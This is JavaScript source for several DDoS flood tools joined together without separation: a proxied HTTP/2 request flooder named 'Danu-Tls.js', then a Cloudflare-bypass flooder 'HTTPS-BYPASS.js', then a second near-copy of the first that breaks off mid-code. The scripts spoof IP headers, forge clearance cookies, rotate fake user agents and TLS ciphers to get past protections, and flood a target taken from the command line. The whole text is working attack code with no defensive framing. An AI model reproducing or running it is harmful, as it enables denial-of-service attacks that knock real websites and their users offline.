const net = require("net"); const http2 = require("http2"); const tls = require("tls"); const cluster = require("cluster"); const url = require("url"); const crypto = require("crypto"); const fakeua = require('fake-useragent'); const fs = require("fs"); process.setMaxListeners(0); require("events").EventEmitter.defaultMaxListeners = 0; process.on('uncaughtException', function (exception) { }); if (process.argv.length < 7){console.log(`METHODS BY : DANU HOW TO USE?: node Danu-Tls.js Target Time Rps Theard Proxy.txt`); process.exit();} const headers = {}; function readLines(filePath) { return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/); } function randomIntn(min, max) { return Math.floor(Math.random() * (max - min) + min); } function randomElement(elements) { return elements[randomIntn(0, elements.length)]; } function randstr(length) { const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; let result = ""; const charactersLength = characters.length; for (let i = 0; i < length; i++) { result += characters.charAt(Math.floor(Math.random() * charactersLength)); } return result; } const ip_spoof = () => { const getRandomByte = () => { return Math.floor(Math.random() * 255); }; return `${getRandomByte()}.${getRandomByte()}.${getRandomByte()}.${getRandomByte()}`; }; const spoofed = ip_spoof(); const ip_spoof2 = () => { const getRandomByte = () => { return Math.floor(Math.random() * 9999); }; return `${getRandomByte()}`; }; const spoofed2 = ip_spoof2(); const ip_spoof1 = () => { const getRandomByte = () => { return Math.floor(Math.random() * 50000); }; return `${getRandomByte()}`; }; const spoofed1 = ip_spoof1(); const args = { target: process.argv[2], time: parseInt(process.argv[3]), Rate: parseInt(process.argv[4]), threads: parseInt(process.argv[5]), proxyFile: process.argv[6] } const sig = [ 'ecdsa_secp256r1_sha256', 'ecdsa_secp384r1_sha384', 'ecdsa_secp521r1_sha512', 'rsa_pss_rsae_sha256', 'rsa_pss_rsae_sha384', 'rsa_pss_rsae_sha512', 'rsa_pkcs1_sha256', 'rsa_pkcs1_sha384', 'rsa_pkcs1_sha512' ]; const sigalgs1 = sig.join(':'); const cplist = [ "ECDHE-ECDSA-AES128-GCM-SHA256", "ECDHE-ECDSA-CHACHA20-POLY1305", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-CHACHA20-POLY1305", "ECDHE-ECDSA-AES256-GCM-SHA384", "ECDHE-RSA-AES256-GCM-SHA384" ]; const accept_header = [ '*/*', 'image/*', 'image/webp,image/apng', 'text/html', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', ]; lang_header = [ 'ko-KR', 'en-US', 'zh-CN', 'zh-TW', 'ja-JP', 'en-GB', 'en-AU', 'en-GB,en-US;q=0.9,en;q=0.8', 'en-GB,en;q=0.5', 'en-CA', 'en-UK, en, de;q=0.5', 'en-NZ', 'en-GB,en;q=0.6', 'en-ZA', 'en-IN', 'en-PH', 'en-SG', 'en-HK', 'en-GB,en;q=0.8', 'en-GB,en;q=0.9', ' en-GB,en;q=0.7', ]; const encoding_header = [ 'gzip, deflate, br', 'deflate', 'gzip, deflate, lzma, sdch', 'deflate' ]; const control_header = ["no-cache", "max-age=0"]; const refers = [ "https://www.google.com/", "https://www.facebook.com/", "https://www.twitter.com/", "https://www.youtube.com/", "https://www.linkedin.com/", "https://proxyscrape.com/", "https://www.instagram.com/", "https://wwww.reddit.com/", "https://fivem.net/", "https://www.fbi.gov/", "https://nettruyenplus.com/", "https://vnexpress.net/", "https://zalo.me", "https://shopee.vn", "https://www.tiktok.com/", "https://google.com.vn/", "https://tuoitre.vn/", "https://thanhnien.vn/", "https://nettruyento.com/" ]; const defaultCiphers = crypto.constants.defaultCoreCipherList.split(":"); const ciphers1 = "GREASE:" + [ defaultCiphers[2], defaultCiphers[1], defaultCiphers[0], ...defaultCiphers.slice(3) ].join(":"); const uap = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.94 Chrome/37.0.2062.94 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9", "Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240", "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/5.0 (Linux; Android 12; V2120 Build/SP1A.210812.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.5359.128 Mobile Safari/537.36" ]; version = [ '"Chromium";v="100", "Google Chrome";v="100"', '"(Not(A:Brand";v="8", "Chromium";v="98"', '" Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"', '"Not_A Brand";v="8", "Google Chrome";v="109", "Chromium";v="109"', '"Not_A Brand";v="99", "Google Chrome";v="86", "Chromium";v="86"', '"Not_A Brand";v="99", "Google Chrome";v="96", "Chromium";v="96"', '"Not A;Brand";v="99", "Chromium";v="96", "Microsoft Edge";v="96"' ]; platform = [ 'Linux', 'macOS', 'Windows' ]; site = [ 'cross-site', 'same-origin', 'same-site', 'none' ]; mode = [ 'cors', 'navigate', 'no-cors', 'same-origin' ]; dest = [ 'document', 'image', 'embed', 'empty', 'frame' ]; const rateHeaders = [ { "akamai-origin-hop": randstr(5) }, { "source-ip": randstr(5) }, { "via": randstr(5) }, { "cluster-ip": randstr(5) }, ]; const rateHeaders2 = [ { "akamai-origin-hop": randstr(5) }, { "source-ip": randstr(5) }, { "via": randstr(5) }, { "cluster-ip": randstr(5) }, ]; const useragentl = [ '(CheckSecurity 2_0)', '(BraveBrowser 5_0)', '(ChromeBrowser 3_0)', '(ChromiumBrowser 4_0)', '(AtakeBrowser 2_0)', '(NasaChecker)', '(CloudFlareIUAM)', '(NginxChecker)', '(AAPanel)', '(AntiLua)', '(FushLua)', '(FBIScan)', '(FirefoxTop)', '(ChinaNet Bot)', '(SafariBrowser 8_0)', '(OperaBrowser 6_0)', '(EdgeBrowser 7_0)', '(MozillaBrowser 5_0)', '(UCBrowser 4_0)', '(YandexBrowser 3_0)', '(DuckDuckGoBot)', '(BingCrawler)', '(YahooSlurp)', '(BaiduSpider)' ]; const mozilla = [ 'Mozilla/5.0 ', 'Mozilla/6.0 ', 'Mozilla/7.0 ', 'Mozilla/8.0 ', 'Mozilla/9.0 ', '(MozillaBrowser 5_0)', '(MozillaBrowser 6_0)', '(MozillaBrowser 7_0)', '(MozillaBrowser 8_0)', '(MozillaBrowser 9_0)' ]; var cipper = cplist[Math.floor(Math.floor(Math.random() * cplist.length))]; var siga = sig[Math.floor(Math.floor(Math.random() * sig.length))]; var uap1 = uap[Math.floor(Math.floor(Math.random() * uap.length))]; var ver = version[Math.floor(Math.floor(Math.random() * version.length))]; var az1 = useragentl[Math.floor(Math.floor(Math.random() * useragentl.length))]; var platforms = platform[Math.floor(Math.floor(Math.random() * platform.length))]; var Ref = refers[Math.floor(Math.floor(Math.random() * refers.length))]; var site1 = site[Math.floor(Math.floor(Math.random() * site.length))]; var moz = mozilla[Math.floor(Math.floor(Math.random() * mozilla.length))]; var mode1 = mode[Math.floor(Math.floor(Math.random() * mode.length))]; var dest1 = dest[Math.floor(Math.floor(Math.random() * dest.length))]; var accept = accept_header[Math.floor(Math.floor(Math.random() * accept_header.length))]; var lang = lang_header[Math.floor(Math.floor(Math.random() * lang_header.length))]; var encoding = encoding_header[Math.floor(Math.floor(Math.random() * encoding_header.length))]; var control = control_header[Math.floor(Math.floor(Math.random() * control_header.length))]; var proxies = readLines(args.proxyFile); const parsedTarget = url.parse(args.target); if (cluster.isMaster) { for (let counter = 1; counter <= args.threads; counter++) { cluster.fork(); } } else {setInterval(runFlooder) } class NetSocket { constructor(){} HTTP(options, callback) { const parsedAddr = options.address.split(":"); const addrHost = parsedAddr[0]; const payload = "CONNECT " + options.address + ":443 HTTP/1.1\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; const buffer = new Buffer.from(payload); const connection = net.connect({ host: options.host, port: options.port }); //connection.setTimeout(options.timeout * 600000); connection.setTimeout(options.timeout * 100000); connection.setKeepAlive(true, 100000); connection.on("connect", () => { connection.write(buffer); }); connection.on("data", chunk => { const response = chunk.toString("utf-8"); const isAlive = response.includes("HTTP/1.1 200"); if (isAlive === false) { connection.destroy(); return callback(undefined, "error: invalid response from proxy server"); } return callback(connection, undefined); }); connection.on("timeout", () => { connection.destroy(); return callback(undefined, "error: timeout exceeded"); }); connection.on("error", error => { connection.destroy(); return callback(undefined, "error: " + error); }); } } const Socker = new NetSocket(); headers[":method"] = "GET"; headers[":authority"] = parsedTarget.host; headers[":path"] = parsedTarget.path + "?" + randstr(5) + "=" + randstr(15); headers[":scheme"] = "https"; headers["x-forwarded-proto"] = "https"; headers["cache-control"] = "no-cache"; headers["X-Forwarded-For"] = spoofed; headers["sec-ch-ua"] = '"Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"'; headers["sec-ch-ua-mobile"] = "?0"; headers["sec-ch-ua-platform"] = "Windows"; headers["accept-language"] = lang; headers["accept-encoding"] = encoding; headers["upgrade-insecure-requests"] = "1"; headers["accept"] = accept; headers["user-agent"] = moz + az1 + "-(GoogleBot + http://www.google.com)" + " Code:" + randstr(7); headers["referer"] = Ref; headers["sec-fetch-mode"] = "navigate"; headers["sec-fetch-dest"] = dest1; headers["sec-fetch-user"] = "?1"; headers["TE"] = "trailers"; headers["cookie"] = "cf_clearance=" + randstr(4) + "." + randstr(20) + "." + randstr(40) + "-0.0.1 " + randstr(20) + ";_ga=" + randstr(20) + ";_gid=" + randstr(15); headers["sec-fetch-site"] = site1; headers["x-requested-with"] = "XMLHttpRequest"; function runFlooder() { const proxyAddr = randomElement(proxies); const parsedProxy = proxyAddr.split(":"); headers["origin"] = "https://" + parsedTarget.host; const proxyOptions = { host: parsedProxy[0], port: ~~parsedProxy[1], address: parsedTarget.host + ":443", timeout: 300, }; Socker.HTTP(proxyOptions, (connection, error) => { if (error) return connection.setKeepAlive(true, 200000); const tlsOptions = { secure: true, ALPNProtocols: ['h2','spdy/3.1'], sigals: siga, socket: connection, ciphers: cipper, ecdhCurve: "prime256v1:X25519", host: parsedTarget.host, rejectUnauthorized: false, servername: parsedTarget.host, //secureProtocol: "TLS_method", secureProtocol: ["TLSv1_1_method", "TLS_method","TLSv1_2_method", "TLSv1_3_method",], }; const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions); tlsConn.setKeepAlive(true, 60000); const client = http2.connect(parsedTarget.href, { protocol: "https:", settings: { headerTableSize: 65536, maxConcurrentStreams: 10000, initialWindowSize: 6291456, maxHeaderListSize: 65536, enablePush: false }, maxSessionMemory: 64000, maxDeflateDynamicTableSize: 4294967295, createConnection: () => tlsConn, socket: connection, }); client.settings({ headerTableSize: 65536, maxConcurrentStreams: 10000, initialWindowSize: 6291456, maxHeaderListSize: 65536, enablePush: false }); setInterval(() => { client.on("connect", () => { const dynHeaders = { ...headers, ...rateHeaders2[Math.floor(Math.random()*rateHeaders.length)], ...rateHeaders[Math.floor(Math.random()*rateHeaders.length)] }; for (let i = 0; i < args.Rate; i++) { const request = client.request(dynHeaders) request.on("response", response => { //console.log("Response:", response); request.close(); request.destroy(); return }); request.end(); } }); }); client.on("close", () => { client.destroy(); connection.destroy(); return }); }),function (error, response, body) { }; } const KillScript = () => process.exit(1); setTimeout(KillScript, args.time * 1000);var cloudscraper = require('cloudscraper'); var request=require('request'); var randomstring = require("randomstring"); var args = process.argv.slice(2); randomByte = function() { return Math.round(Math.random()*256); } if (process.argv.length <= 2) { console.log("node HTTPS-BYPASS.js url time"); console.log("Edit by AKANINE"); console.log("By Pass Cf By AKANINE") process.exit(-1); } var url = process.argv[2]; var time = process.argv[3]; setInterval var int = setInterval(() => { var cookie = ''; var useragent = ''; cloudscraper.get(url, function(error, response, body) { if (error) { console.log('Error connect'); } else { var parsed = JSON.parse(JSON.stringify(response)); cookie = (parsed["request"]["headers"]["cookie"]); useragent = (parsed["request"]["headers"]["User-Agent"]); } // console.log(cookie + '/' + useragent) var rand = randomstring.generate({ length: 10, charset: 'abcdefghijklmnopqstuvwxyz0123456789' }); var ip = randomByte() +'.' + randomByte() +'.' + randomByte() +'.' + randomByte(); const options = { url: url, headers: { 'User-Agent': useragent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1', 'cookie': cookie, 'Origin': 'http://' + rand + '.com', 'Referrer': 'http://google.com/' + rand, 'X-Forwarded-For': ip } }; function callback(error, response, body) { } request(options); }); }); setTimeout(() => clearInterval(int), time * 1000); process.on('uncaughtException', function(err) { }); process.on('unhandledRejection', function(err) { }); const net = require("net"); const http2 = require("http2"); const tls = require("tls"); const cluster = require("cluster"); const url = require("url"); const crypto = require("crypto"); const fakeua = require('fake-useragent'); const fs = require("fs"); process.setMaxListeners(0); require("events").EventEmitter.defaultMaxListeners = 0; process.on('uncaughtException', function (exception) { }); if (process.argv.length < 7){console.log(`METHODS BY : DANU HOW TO USE?: node Danu-Tls.js Target Time Rps Theard Proxy.txt`); process.exit();} const headers = {}; function readLines(filePath) { return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/); } function randomIntn(min, max) { return Math.floor(Math.random() * (max - min) + min); } function randomElement(elements) { return elements[randomIntn(0, elements.length)]; } function randstr(length) { const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; let result = ""; const charactersLength = characters.length; for (let i = 0; i < length; i++) { result += characters.charAt(Math.floor(Math.random() * charactersLength)); } return result; } const ip_spoof = () => { const getRandomByte = () => { return Math.floor(Math.random() * 255); }; return `${getRandomByte()}.${getRandomByte()}.${getRandomByte()}.${getRandomByte()}`; }; const spoofed = ip_spoof(); const ip_spoof2 = () => { const getRandomByte = () => { return Math.floor(Math.random() * 9999); }; return `${getRandomByte()}`; }; const spoofed2 = ip_spoof2(); const ip_spoof1 = () => { const getRandomByte = () => { return Math.floor(Math.random() * 50000); }; return `${getRandomByte()}`; }; const spoofed1 = ip_spoof1(); const args = { target: process.argv[2], time: parseInt(process.argv[3]), Rate: parseInt(process.argv[4]), threads: parseInt(process.argv[5]), proxyFile: process.argv[6] } const sig = [ 'ecdsa_secp256r1_sha256', 'ecdsa_secp384r1_sha384', 'ecdsa_secp521r1_sha512', 'rsa_pss_rsae_sha256', 'rsa_pss_rsae_sha384', 'rsa_pss_rsae_sha512', 'rsa_pkcs1_sha256', 'rsa_pkcs1_sha384', 'rsa_pkcs1_sha512' ]; const sigalgs1 = sig.join(':'); const cplist = [ "ECDHE-ECDSA-AES128-GCM-SHA256", "ECDHE-ECDSA-CHACHA20-POLY1305", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-CHACHA20-POLY1305", "ECDHE-ECDSA-AES256-GCM-SHA384", "ECDHE-RSA-AES256-GCM-SHA384" ]; const accept_header = [ '*/*', 'image/*', 'image/webp,image/apng', 'text/html', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', ]; lang_header = [ 'ko-KR', 'en-US', 'zh-CN', 'zh-TW', 'ja-JP', 'en-GB', 'en-AU', 'en-GB,en-US;q=0.9,en;q=0.8', 'en-GB,en;q=0.5', 'en-CA', 'en-UK, en, de;q=0.5', 'en-NZ', 'en-GB,en;q=0.6', 'en-ZA', 'en-IN', 'en-PH', 'en-SG', 'en-HK', 'en-GB,en;q=0.8', 'en-GB,en;q=0.9', ' en-GB,en;q=0.7', ]; const encoding_header = [ 'gzip, deflate, br', 'deflate', 'gzip, deflate, lzma, sdch', 'deflate' ]; const control_header = ["no-cache", "max-age=0"]; const refers = [ "https://www.google.com/", "https://www.facebook.com/", "https://www.twitter.com/", "https://www.youtube.com/", "https://www.linkedin.com/", "https://proxyscrape.com/", "https://www.instagram.com/", "https://wwww.reddit.com/", "https://fivem.net/", "https://www.fbi.gov/", "https://nettruyenplus.com/", "https://vnexpress.net/", "https://zalo.me", "https://shopee.vn", "https://www.tiktok.com/", "https://google.com.vn/", "https://tuoitre.vn/", "https://thanhnien.vn/", "https://nettruyento.com/" ]; const defaultCiphers = crypto.constants.defaultCoreCipherList.split(":"); const ciphers1 = "GREASE:" + [ defaultCiphers[2], defaultCiphers[1], defaultCiphers[0], ...defaultCiphers.slice(3) ].join(":"); const uap = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.94 Chrome/37.0.2062.94 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9", "Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240", "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/5.0 (Linux; Android 12; V2120 Build/SP1A.210812.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.5359.128 Mobile Safari/537.36" ]; version = [ '"Chromium";v="100", "Google Chrome";v="100"', '"(Not(A:Brand";v="8", "Chromium";v="98"', '" Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"', '"Not_A Brand";v="8", "Google Chrome";v="109", "Chromium";v="109"', '"Not_A Brand";v="99", "Google Chrome";v="86", "Chromium";v="86"', '"Not_A Brand";v="99", "Google Chrome";v="96", "Chromium";v="96"', '"Not A;Brand";v="99", "Chromium";v="96", "Microsoft Edge";v="96"' ]; platform = [ //'Linux', //'macOS', 'Windows' ]; site = [ 'cross-site', 'same-origin', 'same-site', 'none' ]; mode = [ 'cors', 'navigate', 'no-cors', 'same-origin' ]; dest = [ 'document', 'image', 'embed', 'empty', 'frame' ]; const rateHeaders = [ { "akamai-origin-hop": randstr(5) }, { "source-ip": randstr(5) }, { "via": randstr(5) }, { "cluster-ip": randstr(5) }, ]; const rateHeaders2 = [ { "akamai-origin-hop": randstr(5) }, { "source-ip": randstr(5) }, { "via": randstr(5) }, { "cluster-ip": randstr(5) }, ]; const useragentl = [ '(Discordbot)', '(Pterodactyl)', '(Wings)' ]; const mozilla = [ 'Mozilla/5.0 ', 'Mozilla/6.0 ', 'Mozilla/7.0 ', 'Mozilla/8.0 ', 'Mozilla/9.0 ' ]; var cipper = cplist[Math.floor(Math.floor(Math.random() * cplist.length))]; var siga = sig[Math.floor(Math.floor(Math.random() * sig.length))]; var uap1 = uap[Math.floor(Math.floor(Math.random() * uap.length))]; var ver = version[Math.floor(Math.floor(Math.random() * version.length))]; var az1 = useragentl[Math.floor(Math.floor(Math.random() * useragentl.length))]; var platforms = platform[Math.floor(Math.floor(Math.random() * platform.length))]; var Ref = refers[Math.floor(Math.floor(Math.random() * refers.length))]; var site1 = site[Math.floor(Math.floor(Math.random() * site.length))]; var moz = mozilla[Math.floor(Math.floor(Math.random() * mozilla.length))]; var mode1 = mode[Math.floor(Math.floor(Math.random() * mode.length))]; var dest1 = dest[Math.floor(Math.floor(Math.random() * dest.length))]; var accept = accept_header[Math.floor(Math.floor(Math.random() * accept_header.length))]; var lang = lang_header[Math.floor(Math.floor(Math.random() * lang_header.length))]; var encoding = encoding_header[Math.floor(Math.floor(Math.random() * encoding_header.length))]; var control = control_header[Math.floor(Math.floor(Math.random() * control_header.length))]; var proxies = readLines(args.proxyFile); const parsedTarget = url.parse(args.target); if (cluster.isMaster) { for (let counter = 1; counter <= args.threads; counter++) { cluster.fork(); } } else {setInterval(runFlooder) } class NetSocket { constructor(){} HTTP(options, callback) { const parsedAddr = options.address.split(":"); const addrHost = parsedAddr[0]; const payload = "CONNECT " + options.address + ":443 HTTP/1.1\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; const buffer = new Buffer.from(payload); const connection = net.connect({ host: options.host, port: options.port }); //connection.setTimeout(options.timeout * 600000); connection.setTimeout(options.timeout * 100000); connection.setKeepAlive(true, 100000); connection.on("connect", () => { connection.write(buffer); }); connection.on("data", chunk => { const response = chunk.toString("utf-8"); const isAlive = response.includes("HTTP/1.1 200"); if (isAlive === false) { connection.destroy(); return callback(undefined, "error: invalid response from proxy server"); } return callback(connection, undefined); }); connection.on("timeout", () => { connection.destroy(); return callback(undefined, "error: timeout exceeded"); }); connection.on("error", error => { connection.destroy(); return callback(undefined, "error: " + error); }); } } const Socker = new NetSocket(); headers[":method"] = "GET"; headers[":authority"] = parsedTarget.host; headers[":path"] = parsedTarget.path + "?" + randstr(5) + "=" + randstr(15); headers[":scheme"] = "https"; headers["x-forwarded-proto"] = "https"; headers["cache-control"] = "no-cache"; headers["X-Forwarded-For"] = spoofed; headers["sec-ch-ua"] = '"Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"'; headers["sec-ch-ua-mobile"] = "?0"; headers["sec-ch-ua-platform"] = "Windows"; headers["accept-language"] = lang; headers["accept-encoding"] = encoding; headers["upgrade-insecure-requests"] = "1"; headers["accept"] = accept; headers["user-agent"] = moz + az1 + " Code:" + randstr(7); headers["referer"] = Ref; headers["sec-fetch-mode"] = "navigate"; headers["sec-fetch-dest"] = dest1; headers["sec-fetch-user"] = "?1"; headers["TE"] = "trailers"; headers["cookie"] = "cf_clearance=" + randstr(4) + "." + randstr(20) + "." + randstr(40) + "-0.0.1 " + randstr(20) + ";_ga=" + randstr(20) + ";_gid=" + randstr(15); headers["sec-fetch-site"] = site1; headers["x-requested-with"] = "XMLHttpRequest"; function runFlooder() { const proxyAddr = randomElement(proxies); const parsedProxy = proxyAddr.split(":"); headers["origin"] = "https://" + parsedTarget.host; const proxyOptions = { host: parsedProxy[0], port: ~~parsedProxy[1], address: parsedTarget.host + ":443", timeout: 300, }; Socker.HTTP(proxyOptions, (connection, error) => { if (error) return connection.setKeepAlive(true, 200000); const tlsOptions = { secure: true, ALPNProtocols: ['h2'], //ALPNProtocols: ['h2','http/1.1','spdy/3.1'], sigals: siga, socket: connection, ciphers: cipper, ecdhCurve: "prime256v1:X25519", host: parsedTarget.host, rejectUnauthorized: false, servername: parsedTarget.host, //secureProtocol: "TLS_method", secureProtocol: ["TLSv1_1_method", "TLS_method","TLSv1_2_method", "TLSv1_3_method",], }; const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions); tlsConn.setKeepAlive(true, 60000); const client = http2.connect(parsedTarget.href, { protocol: "https:", settings: { headerTableSize: 65536, maxConcurrentStreams: 10000, initialWindowSize: 6291456, maxHeaderListSize: 65536, enablePush: false }, maxSessionMemory: 64000, 